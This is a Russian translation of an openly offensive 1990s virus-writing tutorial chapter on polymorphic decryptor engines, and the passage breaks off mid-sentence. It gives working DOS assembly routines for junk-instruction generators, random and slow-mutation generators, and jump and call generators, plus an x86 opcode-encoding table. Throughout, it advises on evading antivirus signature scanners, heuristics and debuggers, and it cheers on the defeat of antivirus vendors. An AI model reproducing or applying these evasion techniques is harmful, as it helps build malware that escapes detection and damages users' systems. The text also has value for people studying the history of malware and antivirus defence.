+ Пособие по написанию вирусов от Billy Belcebг + ( Фрагмент. Вольный перевод - (с) DrMad, 1999 ) ---+ Полиморфизм +-------------------------------------------- Это одна из наиболее интересных вещей в вирусологии. Кроме того, очень забавно написать ППР (Полиморфную Процедуру Расшифровки), и это непосредственно свидетельствует о профессиональном уровне вирмера. Также это вещь, о которой новички постоянно думают, как о невероятно трудной и что только продвинутые вирмеры способны заниматься полиморфизмом. НЕ СТОИТ ТАК ДУМАТЬ! Это очень просто. Не тревожьтесь. Если Вы добрались до этих строк живыми, я уверен, что Вы и во всем разберетесь. Эта глава является расширением главы ШИФРОВАНИЕ. Наша цель - сделать ППР безгранично распространенной в мире вирмерства : победить антивирмеров посредством минимизации возможности обнаруживать вирусы по характерным строкам, что и будет означать FUCK'EM ALL! J Идея состоит в том, чтобы генерировать различные расшифровщики для каждого сеанса инфицирования, так что антивирмерам придется каждый раз отсасывать при попытке детектировать наш вирус. И эта техника, в совокупности со СТЕЛС-ЗАЩИТОЙ, АНТИЭВРИСТИКОЙ и НЕПОДДАВАЕМОСТЬЮ должна сделать ваши вирусы очень мощными. Итак, начнем изучать интересующий материал. % История % ----------- Первые попытки написать ППР принадлежали болгарскому программеру, вероятно, одному из величайших вирмеров, именуемому Dark Avenger. Его вирусы были, есть и будут учебниками для всех вирмеров. Начиная с его первых вирусов, таких как Eddie, он продемонстрировал выдающиеся качества в программировании. Но наилучшим его творением надо признать MtE ( Mutation Engine - Мутационный движок ), первую ППР в истории вирмерства. Все антивирмеры съехали с катушек в попытках найти сигнатуру для вирусов, основанных на этой технологии. После долгих мучений антивирмеры нашли таки подходящую сигнатуру для MtE. Но это было только начало. Masud Khafir, член вирмерской группы Trident, разработал TPE, Dark Angel из Phalcon Skiskm разработал DAME, и многие другие вирмейкеры занялись другими крутыми технологиями. Если мы говорим о полиморфных технологиях, мы должны иметь в виду, что эта техника возникла в 1992 году, очень давно. Главная цель была - борьба со сканерами сигнатур, и это сейчас выполнить очень просто. Но сейчас полиморфные технологии заимели множество врагов: кодоанализаторы, эмуляторы, трассировщики, эвристики и продвинутых антивирмеров, сражающихся против нас. Первоначально вирмеры считали, что лучшая возможность для расшифровщиков - сделать их как можно более вариабельными. Но время показало недостаточность этой идеи: антивирмеры способны декодировать КИЛОБАЙТЫ, чтобы только добраться до возможных расшифровщиков, которые ППР может генерировать. Если мы покажем им самую маленькую порцию наших возможных расшифровщиков (с использованием даты для генерации случайного числа, например), то мы оттрахаем их. Они отсканируют сигнатуру, но на другом компьютере, в другой ситуации, это сканирование не будет работать. Это называется МЕДЛЕННЫМ ПОЛИМОРФИЗМОМ. Мы рассмотрим эту идею дальше. % Введение % ------------ Полиморфная технология - наиболее личная вещь, которую программер способен сделать. Сейчас я должен вам сказать, что использование полиморфности, придуманной другим программером, не является хорошей идеей. Написать достойную ППР очень легко, но если вы используете чужую разработку, вы ограничены в средствах при написании вашего вируса. Нам необходимо сгенерировать расшифровщик, помещающий мусор между реальными расшифровывающими командами, с ложными переходами, вызовами процедур, антиотладкой и пр. посмотрим, что же мы должны для этого сделать... - Генерировать много путей для достижения одной точки - Изменять порядок команд, если это возможно - Позволять использование в других вирусах - Вызывать бессмысленные INT 21h - Вызывать бессмысленные другие прерывания - Если захотим, то использовать медленный полиморфизм - Минимизировать все возможные сигнатуры - Защищать генератор команд, чтобы максимально затруднить его дизассемблирование Если вы занимаетесь ППР, imagination - очень хорошее оружие. Используйте это средство для герерации многих оригинальных вещей, какие только можете. % Первые шаги в полиморфизме % ----------------------------- Простейшим путем сделать расшифровщик, который меняется при каждом поколении вирусов, является написание генератора мусора, и разжижение команд расшифровщика мусорными командами. Это первая попытка, которую вы можете сделать с целью написать свой полиморфик. Первый тип мусора - однобайтовики, это простейшие варианты команд, которые мы можем использовать. Мы должны выбрать перед использованием бессмысленных команд мусорные регистры. Я обычно использую AX, BX и DX. Давайте посмотрим на маленькую табличку однобайтовиков: OneByteTable: db 09Eh ; sahf db 090h ; nop db 0F8h ; clc db 0F9h ; stc db 0F5h ; cmc db 09Fh ; lahf db 0CCh ; int 3h db 048h ; dec ax db 04Bh ; dec bx db 04Ah ; dec dx db 040h ; inc ax db 043h ; inc bx db 042h ; inc dx db 098h ; cbw db 099h ; cwd EndOneByteTable: При помощи простой процедуры, которая размещает реальные команды, и другой, которая размещает мусор, мы получаем очень простую полиморфную технологию. Она удобна для наших первых шагов, но если вы пишете хороший вирус, вы должны знать одну вещь... если встречается слишком много бесмысленных команд, приготовьтесь к тому, что антивирус выставит флаг. Кгхм... так как мы можем почать такие инструкции? Очень просто: GenerateOneByteJunk: lea si,OneByteTable ; Смещение в таблице call random ; Генерирует случайные числа and ax,014h ; AX долно быть между 0 и 14 add si,ax ; Добавим AX (AL) к смещению mov al,[si] ; Поместим выбранный код в al stosb ; Сохраним в ES:DI (указывает ; на расшифровщик ) ret Ну конечно, нам нужен генератор случайных чисел. Вот простейший: Random: in ax,40h ; Будет помещать случайное in al,40h ; число в AX ret При помощи вышеприведенных процедур мы можем сделать ну очень примитивную технологию. Но наши цели другие, так что обратим внимание на дальнейшие разделы этой главы. % Несколько возможностей выполнить простую операцию % ----------------------------------------------------- Существует бесконечное число возможностей ( ну скажем... миллионы возможностей J), чтобы выполнить простую операцию. Давайте посмотрим, как можно выполнить "mov dx, 1234h" без применения других регистров: mov dx,1234h push 1234h pop dx mov dx,1234h xor 5678h xor dx,5678h mov dh,12h mov dl,34h xor dx,dx or dx,1234h mov dx,not 1234h not dx [...] И мы можем придумывать новые и новые комбинации. И, конечно, если мы будем задействовать еще и другие регистры, количество возможностей еще более возрастает. % Изменение порядка команд % ---------------------------- Существует много команд, которые мы можем программировать в том порядке, какой нас устраивает. И это, в совокупности с возможностями выполнять простые команды, может сделать наш полиморфный движок действительно мощным. Обычно все команды, которые размещаются перед циклом расшифровки, могут быть размещены в произвольном порядке, исключая комбинации PUSH/POP, а также аналогичные. Мы говорим о командах, работа которых не заваисит от работы других. Давайте рассмотрим примерчик: mov cx,encrypt_size mov si,encrypt_begin mov di,encrypt_key Мы можем переставить эти команды в том порядке, в каком хотим, в случайном порядке J Они будут делать то же самое, если даже переставить их так: mov di,encrypt_key mov cx,encrypt_size mov si,encrypt_begin И это касается всех возможных комбинаций. % Переносимость % ----------------- Сделать переносимый полиморфный движок достаточно просто. Все, что мы должны сделать - это сделать так, чтобы наша ППР использовала параметры. Например, мы можем использовать CX для хранения размера шифруемой части, DS:DX для указания на шифруемую область, и т.п. Таким образом мы можем использовать наш движок в вирусе удобным образом. % Таблицы против Блоков % ------------------------ ю Табличные ППР: Смысл движков этого вида, чтобы иметь смещения всех процедур, которые гененируют мусор (однобайтовики, ложные вызовы прерываний, математические команды...) в другой таблице. Затем, используя случайное число, мы обращаемся по одному из смещений и получаем случайный мусор. Посмотрим примерчик: RandomJunk: call Random ; Случайное число в AX and ax,(EndRandomJunkTable-RandomJunkTable)/2 add ax,ax ; AX*2 xchg si,ax add si, offset RandomJunkTable ; Указатель на таблицу lodsw call ax ; Обращение по случайному смещению ret RandomJunkTable: dw offset GenerateOneByteJunk dw offset GenerateMovRegImm dw offset GenerateMovRegMem dw offset GenerateMathOp dw offset GenerateArmour dw offset GenerateCalls dw offset GenerateJumps dw offset GenerateINTs [...] EndRandomJunkTable: Очень легко добавить новые процедуры к табличной ППР, и этот тип движка может быть сильно оптимизирован (зависит от программиста). ю Блоковые ППР: Наша цель состоит в том, чтобы составить для каждой команды расшифровщика блоки фиксированного размера. Имеется пример такого рода движков в вирусе Elvira (Spanska), опубликованного в 29A#2. Давайте рассмотрим примерчик одного из блоков в движке вируса Elvira, предназначенный для сравнения CX с 0. Каждый блок имеет определенный размер (6 байтов). cmp cx, 0 nop nop nop nop nop nop cmp cx, 0 nop or cx, cx nop nop nop nop nop nop or cx, cx nop test cx, 0FFFFh nop nop or cl, cl jne suite_or or ch, ch suite_or: mov bx, cx inc bx cmp bx, 1 inc cx cmp cx, 1 dec cx nop dec cx cmp cx, 0FFFFh inc cx nop Как вы можете видеть, гораздо проще добавлять новые блоки для выполнения той же задачи. Но этот сорт движков имеет слабое место: размер. Движок Elvir-ы занимает около половины длины всего вируса: из 4250 байтов движок отсасывает 2000-2500 байтов. Зато приятно, что добавляя новые блоки, мы можем создавать новые варианты вируса, и делать его недетектируемым для антивирмеров J ю Но победителем является... Я считаю, что таблицы - нормальное решение, потому что мы можем генерировать все возможные комбинации блоков, и более того. Блоки - решение для всех ППР, которые не хотят продолжить свое существование в аду J % Команды % ----------- А здесь - основа всех полиморфных движков, способ генерировать команды со случайными регистрами, значениями, позициями в памяти... ю Нотация: Символ* Объяснение* ****** *********** imm8 байтовый непосредственный операнд imm16 словный непосредственный операнд reg8 байтовый регистровый операнд reg16 словный регистровый операнд mem8 байтовый операнд в памяти mem16 словный операнд в памяти regmem8 байтовый операнд регистр/память regmem16 словный операнд регистр/память d8 перемещаемый адрес байта d16 перемещаемый адрес слова sig8 байтовый знаковый операнд sig16 словный знаковый операнд sig32 операнд типа смещение:сегмент ^0,^1, etc Поле Reg байта RegInfо, содержит это число в качестве оператора RegInfoByte требует следующи полей reg код используемого регистра sreg код сегментного регистра r/m тип адресации ( базовый, индексный, регистры... ) mod индексный регистр ( DI, BP... ) dir направление w признак слова Скелет кода операции* ******************** +-----------------------------------------------------------------------+ | 8 bits 2 3 3 8 or 16 bits 8 or 16 bits | | +=============+ +=====С=====С=====+ +==============+ +==============+ | | | Команда | | MOD | REG | R/M | | Размещение | | Данные | | | +=============+ +=====П=====П=====+ +==============+ +==============+ | | 1 байт 1 байт 1 или 2 байта 1 или 2 байта | +-----------------------------------------------------------------------+ Поле Reg * ********* Поле Reg 00 01 02 03 04 05 06 07 Байтовые рег-с AL CL DL BL AH CH DH BH Словные рег-с AX CX DX BX SP BP SI DI Расширенные р EAX ECX EDX EBX ESP EBP ESI EDI Как мы можем узнать - регистр словный или байтовый? Легко, при помощи бита w. Если от 1, то слово, иначе - байт. Поле Sreg * ********** Поле Sreg 01 03 05 07 Сегмент ES CS SS DS Поля R/M и Mod* ************** Поле R/M 00 Mod 000 [BX+SI] 001 [BX+DI] 010 [BP+SI] 011 [BP+DI] 100 [SI] 101 [DI] 110 d16 111 [BX] Поле R/M 01 Mod 000 [BX+SI+d8] 001 [BX+DI+d8] 010 [BP+SI+d8] 011 [BP+DI+d8] 100 [SI+d8] 101 [DI+d8] 110 [BP+d8] 111 [BX+d8] Поле R/M 10 Mod 000 [BX+SI+d16] 001 [BX+DI+d16] 010 [BP+SI+d16] 011 [BP+DI+d16] 100 [SI+d16] 101 [DI+d16] 110 [BP+d16] 111 [BX+d16] Поле R/M 11 Mod Байт Слово 000 AL AX 001 CL CX 010 DL DX 011 BL BX 100 AH SP 101 CH BP 110 DH SI 111 BH DI Поле направления* *************** Если оно 0, перемещаемся от reg к mod, если 1, то vice-versa, но, пожалуйста, имейте в виду, что TBSCAN выставит флаг, если в команде присутствует это поле = 0, потому что ассемблером этого не сгенерируешь. ю Коды команд: +-------+ | MOV | +-------+ Эта команда наиболее используемая в ассемблере. Кроме того, ее можно запрограммировать большим числом способов. ОСТОРОЖНО! У этой команды есть несколько оптимизированных вариантов, и как вы можете видеть, для AL/AX. Вы можете кодировать эти регистры, как делается в ассемблерных программах, но если не будете - эвристические анализаторы вы-#$%^-ут ваш код! MOV reg8,imm8 B0+RegByte imm8 MOV reg16,imm16 B8+RegWord imm16 MOV AL,mem8 A0 mem8 MOV AX,mem16 A1 mem16 MOV mem8,AL A2 mem8 MOV mem16,AX A3 mem16 MOV reg8,regmem8 8A RegInfoByte MOV reg16,regmem16 8B RegInfoByte MOV regmem8,reg8 88 RegInfoByte MOV regmem16,reg16 89 RegInfoByte MOV regmem8,imm8 C6 ^0 MOV regmem16,imm16 C7 ^0 MOV reg16,segmentreg 8C RegInfoByte MOV segmentreg,reg16 8E RegInfoByte +--------+ | XCHG | +--------+ Как и в случае с MOV, эта команда тоже оптимизирована для AX. XCHG AX,reg16 90+RegWord XCHG reg8,regmem8 86 RegInfoByte XCHG regmem8,reg8 86 RegInfoByte XCHG reg16,regmem16 87 RegInfoByte XCHG regmem16,reg16 87 RegInfoByte +-----------------------+ | Сегментные префиксы | +-----------------------+ Это не полные команды. Это префиксы, они размещаются перед командами. SEGCS 2E SEGDS 3E SEGES 26 SEGSS 36 +--------------------+ | Стековые команды | +--------------------+ Эти команды используются для помещения/извлечения/обработки значений в/из/внутри стека. PUSH reg16 50+RegWord PUSH regmem16 FF ^6 PUSH imm8 6A imm8 PUSH imm16 68 imm16 PUSH CS 0E PUSH DS 1E PUSH ES 06 PUSH SS 16 PUSHA 60 PUSHF 9C POP reg16 58+RegWord POP regmem16 8F ^0 imm16 POP DS 1F POP ES 07 POP SS 17 POPA 61 POPF 9D +--------------------+ | Флаговые команды | +--------------------+ Все эти команды однобайтовые, так что чрезвычайно удобны для генераторов мусора, но остерегайтесь некоторых инструкций типа STD и STI. CLI FA STI FB CLD FC STD FD CLC F8 STC F9 CMC F5 SAHF 9E LAHF 9F Логические команды* ****************** +-------+ | XOR | +-------+ XOR AL,imm8 34 imm8 XOR AX,imm16 35 imm16 XOR reg8,regmem8 32 RegInfoByte XOR reg16,regmem16 33 RegInfoByte XOR regmem8,reg8 30 RegInfoByte XOR regmem16,reg16 31 RegInfoByte XOR regmem8,imm8 80 ^6 imm8 XOR regmem16,imm8 83 ^6 imm8 XOR regmem16,imm16 81 ^6 imm16 +------+ | OR | +------+ OR AL,imm8 0C imm8 OR AX,imm16 0D imm16 OR reg8,regmem8 0A RegInfoByte OR reg16,regmem16 0B RegInfoByte OR regmem8,reg8 08 RegInfoByte OR regmem16,reg16 09 RegInfoByte OR regmem8,imm8 80 ^1 imm8 OR regmem16,imm8 83 ^1 imm8 OR regmem16,imm16 81 ^1 imm16 +-------+ | AND | +-------+ AND AL,imm8 24 imm8 AND AX,imm16 25 imm16 AND reg8,regmem8 22 RegInfoByte AND reg16,regmem16 23 RegInfoByte AND regmem8,reg8 20 RegInfoByte AND regmem16,reg16 21 RegInfoByte AND regmem8,imm8 80 ^4 imm8 AND regmem16,imm8 83 ^4 imm8 AND regmem16,imm16 81 ^4 imm16 +-------+ | NOT | +-------+ NOT regmem8 F6 ^2 NOT regmem16 F7 ^2 +-------+ | NEG | +-------+ NEG regmem8 F6 ^3 NEG regmem16 F7 ^3 +--------+ | TEST | +--------+ TEST AL,imm8 A8 imm8 TEST AL,imm16 A9 imm16 TEST regmem8,reg8 84 RegInfoByte TEST regmem16,reg16 85 RegInfoByte TEST regmem8,imm8 F6 ^0 imm8 TEST regmem16,imm16 F7 ^0 imm16 +-------+ | CMP | +-------+ CMP AL,imm8 3C imm8 CMP AX,imm16 3D imm16 CMP reg8,regmem8 3A RegInfoByte CMP reg16,regmem16 3B RegInfoByte CMP regmem8,reg8 38 RegInfoByte CMP regmem16,reg16 39 RegInfoByte CMP regmem8,imm8 80 ^7 imm8 CMP regmem16,imm8 83 ^7 imm8 CMP regmem16,imm16 81 ^7 imm16 Арифметические команды* ********************** +-------+ | ADD | +-------+ ADD AL,imm8 04 imm8 ADD AX,imm16 05 imm16 ADD reg8,regmem8 02 RegInfoByte ADD reg16,rm16 03 RegInfoByte ADD regmem8,reg8 00 RegInfoByte ADD regmem16,reg16 01 RegInfoByte ADD regmem8,imm8 80 ^0 imm8 ADD regmem16,imm8 83 ^0 imm8 ADD regmem16,imm16 81 ^0 imm16 +-------+ | SUB | +-------+ SUB AL,imm8 2C imm8 SUB AX,imm16 2D imm16 SUB reg8,regmem8 2A RegInfoByte SUB reg16,regmem16 2B RegInfoByte SUB regmem8,reg8 28 RegInfoByte SUB regmem16,reg16 29 RegInfoByte SUB regmem8,imm8 80 ^5 imm8 SUB regmem16,imm8 83 ^5 imm8 SUB regmem16,imm16 81 ^5 imm16 +-------+ | ADC | +-------+ ADC AL,imm8 14 imm8 ADC AX,imm16 15 imm16 ADC reg8,regmem8 12 RegInfoByte ADC reg16,regmem16 13 RegInfoByte ADC regmem8,reg8 10 RegInfoByte ADC regmem16,reg16 11 RegInfoByte ADC regmem8,imm8 80 ^2 imm8 ADC regmem16,imm8 83 ^2 imm8 ADC regmem16,imm16 81 ^2 imm16 +-------+ | SBB | +-------+ SBB AL,imm8 1C ib SBB AX,imm16 1D iw SBB reg8,regmem8 1A RegInfoByte SBB reg16,regmem16 1B RegInfoByte SBB regmem8,reg8 18 RegInfoByte SBB regmem16,reg16 19 RegInfoByte SBB regmem8,imm8 80 ^3 imm8 SBB regmem16,imm8 83 ^3 imm8 SBB regmem16,imm16 81 ^3 imm16 +-------+ | INC | +-------+ INC reg16 40+RegWord INC regmem8 FE ^0 INC regmem16 FF ^0 +-------+ | DEC | +-------+ DEC reg16 48+RegWord DEC regmem8 FE ^1 DEC regmem16 FF ^1 +-------+ | MUL | +-------+ MUL regmem8 F6 ^4 MUL regmem16 F7 ^4 +-------+ | DIV | +-------+ DIV regmem8 F6 ^6 DIV regmem16 F7 ^6 +--------+ | IMUL | +--------+ IMUL regmem8 F6 ^5 IMUL regmem16 F7 ^5 IMUL reg16,regmem16,imm16 69 imm16 IMUL reg16,regmem16,imm8 6B imm8 +--------+ | IDIV | +--------+ IDIV regmem8 F6 ^7 IDIV regmem16 F7 ^7 Команды сдвига* ************** +-------+ | SHL | +-------+ SHL regmem8,1 D0 ^4 SHL regmem16,1 D1 ^4 SHL regmem8,CL D2 ^4 SHL regmem16,CL D3 ^4 SHL regmem8,imm8 C0 ^4 imm8 SHL regmem16,imm8 C1 ^4 imm8 +-------+ | SHR | +-------+ SHR regmem8,1 D0 ^5 SHR regmem16,1 D1 ^5 SHR regmem8,CL D2 ^5 SHR regmem16,CL D3 ^5 SHR regmem8,imm8 C0 ^5 imm8 SHR regmem16,imm8 C1 ^5 imm8 +-------+ | SAL | +-------+ SAL regmem8,1 D0 ^4 SAL regmem16,1 D1 ^4 SAL regmem8,CL D2 ^4 SAL regmem16,CL D3 ^4 SAL regmem8,imm8 C0 ^4 imm8 SAL regmem16,imm8 C1 ^4 imm8 +-------+ | SAR | +-------+ SAR regmem8,1 D0 ^7 SAR regmem16,1 D1 ^7 SAR regmem8,CL D2 ^7 SAR regmem16,CL D3 ^7 SAR regmem8,imm8 C0 ^7 imm8 SAR regmem16,imm8 C1 ^7 imm8 +-------+ | ROL | +-------+ ROL regmem8,1 D0 ^0 ROL regmem16,1 D1 ^0 ROL regmem8,CL D2 ^0 ROL regmem16,CL D3 ^0 ROL regmem8,imm8 C0 ^0 imm8 ROL regmem16,imm8 C1 ^0 imm8 +-------+ | ROR | +-------+ ROR regmem8,1 D0 ^1 ROR regmem16,1 D1 ^1 ROR regmem8,CL D2 ^1 ROR regmem16,CL D3 ^1 ROR regmem8,imm8 C0 ^1 imm8 ROR regmem16,imm8 C1 ^1 imm8 +-------+ | RCL | +-------+ RCL regmem8,1 D0 ^2 RCL regmem16,1 D1 ^2 RCL regmem8,CL D2 ^2 RCL regmem16,CL D3 ^2 RCL regmem8,imm8 C0 ^2 imm8 RCL regmem16,imm8 C1 ^2 imm8 +-------+ | RCR | +-------+ RCR regmem8,1 D0 ^3 RCR regmem16,1 D1 ^3 RCR regmem8,CL D2 ^3 RCR regmem16,CL D3 ^3 RCR regmem8,imm8 C0 ^3 imm8 RCR regmem16,imm8 C1 ^3 imm8 Jump-ы, Call-ы and Ret-ы* ************************ Я должен сейчас немного рассказать об одной интересной для вас вещи. Смещения jump-ов вычисляются от следующего байта всей команды перехода, например, если у нас есть E9 00 00 (JUMP NEAR), то мы переходим сразу к следующей команде, размещенной за командой перехода. Продолжая дальше, мы можем узнать, что JMP 0001 перескочит через один байт. Но... Что случится, если мы захотим перейти в обратном направлении? Очень просто. Если мы выполним JMP FFFF, мы перейдем на данные, и подвиснем. Мы можем использовать эту формулу, в которой Х - окончательный результат, и Х' поможет нам произвести вычисления. X' = адрес jump - адрес перехода + 2 X = NEG X' +-----------------------+ | Безусловные Jumpы | +-----------------------+ JMP sig16 ( SHORT ) E9 sig16 JMP sig32 ( FAR ) EA sig32 JMP sig8 ( NEAR ) EB sig8 JMP regmem16 FF ^4 JMP FAR mem16:16 FF ^5 +---------------------+ | Условные Jumpы | +---------------------+ JO sig8 70 sig8 JNO sig8 71 sig8 JB sig8 72 sig8 JAE sig8 73 sig8 JZ sig8 74 sig8 JNZ sig8 75 sig8 JBE sig8 76 sig8 JA sig8 77 sig8 JS sig8 78 sig8 JNS sig8 79 sig8 JPE sig8 7A sig8 JPO sig8 7B sig8 JL sig8 7C sig8 JGE sig8 7D sig8 JLE sig8 7E sig8 JG sig8 7F sig8 JCXZ sig8 E3 sig8 +--------------+ | Callы | +--------------+ CALL sig32 9A sig32 CALL sig16 E8 sig16 CALL regmem16 FF ^2 CALL FAR mem16:16 FF ^3 +-----------+ | Returnы | +-----------+ RETN C3 RETF CB IRET CF +--------------+ | Циклы | +--------------+ LOOPNE/LOOPNZ sig8 E0 cb LOOPE/LOOPZ sig8 E1 cb LOOP sig8 E2 cb Разное* ****** +--------------------+ | Команды загрузки | +--------------------+ LEA reg16,regmem16 8D RegInfoByte LDS reg16,mem16:16 C4 RegInfoByte LES reg16,mem16:16 C5 RegInfoByte % Генерация Jump-ов и Call-ов % -------------------------------- Это одна из наиболее важных вещей, которую вам необходимо сделать, если вы хотите, чтобы сгенерированный вами код был более приятен для ламерских глаз ;) ю Переходы: Создание переходов очень просто и очень полезно для наших нужд. Попытайтесь отказаться от "вырожденных" jump-ов, типа JMP 0000, потому что если мы используем этот вид переходов, то эвристический флаг вскочит с большой долей вероятности. Наша цель - сделать так, чтобы команды выглядели натурально. И... где еще вам могут встретиться jump-ы на следующую команду? J Для того, чтобы создавать jump-ы, вы должны быть внимательны со смещениями, потому что если вы сдалаете их слишком маленькими или слишком большими, компьютер просто подвиснет. Вы должны сделать их настраиваемыми на конкретный случай. Это хорошая идея - сделать смещения jump-ов переменными ( в пределах от 1 до 5 должно хватить), и использовать в качестве мусорных команд. Разработайте процедуру для проверки того, что ваши jump-ы будут ссылаться в правильные позиции. Помните: напугать противника - наше лучшее оружие. Давайте рассмотрим очень простой генератор условных переходов. Он очень несложен. generate_jx: call random ; Наш генератор случайных чисел and al,0Fh ; Число между 0 и 16 add al,70h ; Прибавим 70 для получения команды stosb ; Поместим AL в ES:DI xor ax,ax ; Сделаем AL = 00 stosb ; Сгенерируем "вырожденный" jump ret Это не лучшее решение, но оно... работает J ю Вызовы подпрограмм: Чуть-чуть посложнее, чем конструирование jump-ов. Если мы используем call-ы вместо jump-ов, код рухнет (действительно!). Это происходит потому, что когда мы выполняем call, смещение помещается в стек, а команда ret предназначена для возврата в точку, следующую непосредственно за call-ом. Таким образом, если мы используем call непосредственно, наш код будет совершенно бесполезным. Существует две возможности победить эту проблему. Рассмотрим первую из них: делаем call в определенную точку, а затем генерируем jump, который обходит данный call ( да, вызов процедуры... это не $%^#-ный RET!), строим код процедуры, вписываем в конец RET, и это все! Это должно выглядеть примерно так: [...] call shit --------+ [...] -----------|+ jmp avoid_shit -||---------+ [...] || | shit: ----------+| | [...] | | ret ---------------+ | [...] | avoid_shit: -----------------+ [...] Может быть, второй путь окажется более простым для ваших глаз. Дык, я готов объяснить его вашему пытливому уму J Мы должны сделать jump через call, затем сгенерировать код для процедуры генерации RET, и мы теперь можем вызывать код подпрограммы (и еще сколько угодно раз). Посмотрите: [...] jmp avoid_shit -+ [...] | shit: --------|--+ [...] | | ret ------------|--|--+ [...] | | | avoid_shit: ----+ | | [...] | | call shit ---------+ | [...] ---------------+ % Вызовы прерываний % --------------------- Это ОЧЕНЬ просто, поверьте мне. Мы можем вызывать эти прерывания в нашем коде, когда захотим; это прерывания, которые ничего не делают. Посмотрите на коротенький списочек: INT 01h Пошаговая трассировка, генерируется процессором INT 08h IRQ0 - Системный таймер, генерируется процессором INT 0Ah IRQ2 - LPT2/EGA,VGA/IRQ9; генерируется процессором INT 0Bh IRQ3 - последовательный порт (COM2); генерируется процессором INT 0Ch IRQ4 - последовательный порт (COM1); генерируется процессором INT 0Dh IRQ5 - винчестер/LPT2/reserved; генерируется процессором INT 0Eh IRQ6 - контроллер дискеты; генерируется процессором INT 0Fh IRQ7 - параллельный принтер INT 1Ch TIME - тик системного таймера INT 28h DOS 2+ - прерывание ожидания DOS INT 2Bh DOS 2+ - зарезервировано INT 2Ch DOS 2+ - зарезервировано INT 2Dh DOS 2+ - зарезервировано INT 70h IRQ8 - часы реального времени в CMOS INT 71h IRQ9 - переназначено на INT 0A посредством BIOS INT 72h IRQ10 - зарезервировано INT 73h IRQ11 - зарезервировано INT 74h IRQ12 - координатное устройство INT 75h IRQ13 - исключения в мат. сопре INT 76h IRQ14 - контроллер жесткого диска INT 77h IRQ15 - зарезервировано; энергосбережение (Compaq) Это прерывания, которые вы можете вызывать без каких-либо проблем. Я советую вам построить таблицу с номерами прерываний для использования в процедуре, которая генерирует коды команды INT. ЭЙ! Я забыл! Код команды IN есть CD, а дальше идет байт номера прерывания. Другим хорошим выбором является обращение к прерываниям INT 21h/INT 10h/INT 16h с функциями, которые ничего не делают. Давайте посмотрим на возможные варианты команды INT 21h. AH=0Bh Прочитать состояние входа AH=0Dh Сбросить буфера AH=19h Получить текущий диск AH=2Ah Получить текущую дату AH=2Ch Получить текущее время AH=30h Получить номер версии dos AH=4Dh Получить код ошибки AH=51h Получить активный psp AH=62h Получить активный psp AX=3300h Получить состояние обработки ctrl-break AX=3700h Получить разделитель командной строки AX=5800h Получить стратегию распределения памяти AX=5802h Получить ствтус верхней памяти Я думаю, достаточно ясно, как сделать код. Генерация MOv AH/AX, число и INT 21h - простая задача. Просто возьмите и сделайте!J % Генератор случайных чисел % ---------------------------- Это одно из самого важного в вашем полиморфизме. Простейший путь, чтобы получить случайное число - обратиться к порту 40h и посмотреть на то, что из него возвращается. Посмотрите на код: random: in ax,40h in al,40h ret Мы можем также использовать INT 1Ah или что-то другое, которое возвращает различные значения каждый раз. Если нам нужно число в определенных пределах, мы можем воспользоваться командой AND. Посмотрите на простейшую процедуру для получения случайного числа в границах: random_in_range: push bx xchg ax,bx call random and ax,bx pop bx ret Она вернет число в границах от 0 до АХ-1. Оптимизированным способом сделать такую процедуру является использование операции деления. Вспомните, что делает деление, и обратите внимание на остаток. Когда мы выполняем деление, остаток ни за что не будет больше (или равен) делителю. Т.е. остаток всегда лежит в пределах 0 и делитель-1. Давайте посмотрим, как будет выглядеть процедура, использующая деление: random_in_range: push bx dx xchg ax,bx call random xor dx,dx div bx xchg ax,dx pop dx bx ret Очень просто, как вы можете видеть. Тему получения случайных чисел мы продолжим рассматривать в следующей части главы, которая посвящена медленному полиморфизму. % Медленный полиморфизм % ------------------------- Поскольку вы знаете, что все это трахает антивирусы, мы можете подумать, что это очень сложная техника. Авторы первых полиморфных движков думали, что наилучшим способом оттрахать антивирусы - является делание расшифровщиков очень сильно видоизменяемыми каждый раз. Это было очень плодотворной идеей для первых полиморфиков, но антивирмеры скоро поняли, что совсем не обязательно составлять отдельные процедуры лечения для тысяч вариантов расшифровщиков, а достаточно сканировать сам мутационный алгоритм, и вставили весьма простые сканеры сигнатур в свои говенные проги ( aka AntiViruses ). Но... что случится, если мы сделаем процесс мутирования очень медленным? Так родился медленный полиморфизм. Да, с использованием этой простой идеи, которая не сложней коровьей лепешки, мы можем обдурить антивирмеров. Наиболее важной вещью, которую мы должны изменять для получения медленного полиморфика, являются генераторы случайных чисел. Изменяя их, мы получим технологию медленной мутации для наших нужд. Мы можем усовершенствовать ее, но она и так работает очень успешно для ВСЕХ наших нужд. Нам нужны случайные числа, которые не изменяются очень часто, но раз в день, или раз в месяц, и мы сможем потом забавно поиграться с этим (если, конечно, захотим ) J random_range: push bx cx dx xchg ax,bx mov ax,2C00h int 21h xchg ax,dx xor ax,0FFFFh xor dx,dx div bx xchg ax,dx pop dx cx bx ret А вот с подобной процедуркой ваш полиморфик станет на 100% медленным. Мне кажется, что идея очень прозрачна. Вместо этого вы можете использовать обычный счетчик запусков, который выключает мутирование на длительный период времени, но мне больше нравится предыдущая техника медленного полиморфизма. % Расширенный полиморфизм % --------------------------- Ваши следующие шаги должны быть в направлении расширенного (продвинутого) полиморфизма. Вы должны попытаться генерировать реалистичные структуры, типа программ с обращениями к подпрограммам, прерываниям, играющие с уже известными величинами, выполняющими реальные сравнения перед условными операторами, и вообще все, что вы только можете придумать. Вы должны постоянно совершенствовать изменчивость выших полиморфных движков: если они медленные и очень изменчивые, антивирусы окажутся оттраханными. Используйте все возможности: вы можете расшифровывать ваш код сверху вниз и наоборот, используя si, di, bx и любые регистры, которые вы зарезервировали для счетчиков, вы можете добавить генератор для длинных процедур, таких как антиотладочные трюки (neg sp/neg sp, not sp/not sp...), сделать расшифровщик-зашифровщик части программы-носителя, расшифровщик-зашифровщик с использованием INT 1 (дьявольский трюк!), делать пустые перемещения фрагментов памяти, использовать словные команды как байтовые, комбинировать и взаимозаменять все это... Вместо этого вы можете попробовать что-нибудб ну совершенно продвинутое, типа вложенного полиморфизма, и пр. Насчет этого существует много интересных документов, например, от Methyl (aka Owl[FS]). % Последние слова про полиморфизм % ---------------------------------- Но, поскольку реальный мир - дерьмо, антивирмеры будут пытаться победить все наши расшифровщики при помощи автоматического дизассемблирования. Но существует и защита для наших жоп. Мы должны крепко защищать наши полиморфики шифрующими процедурами, специально разработанными для этого (это должны быть СИЛЬНОАНТИОТЛАДОЧНЫЕ расшифровщики). Поскольку они не хотят затрачивать много времени на дизассемблирование наших движков, то они и увидят только то, что хотят видеть J Вы можете найти очень хорошие варианты АНТИОТЛАДОЧНОЙ техники в главе с соответствующим названием (см. выше). А пока они будут концентрировать их усилия на изучении приманок, и мы 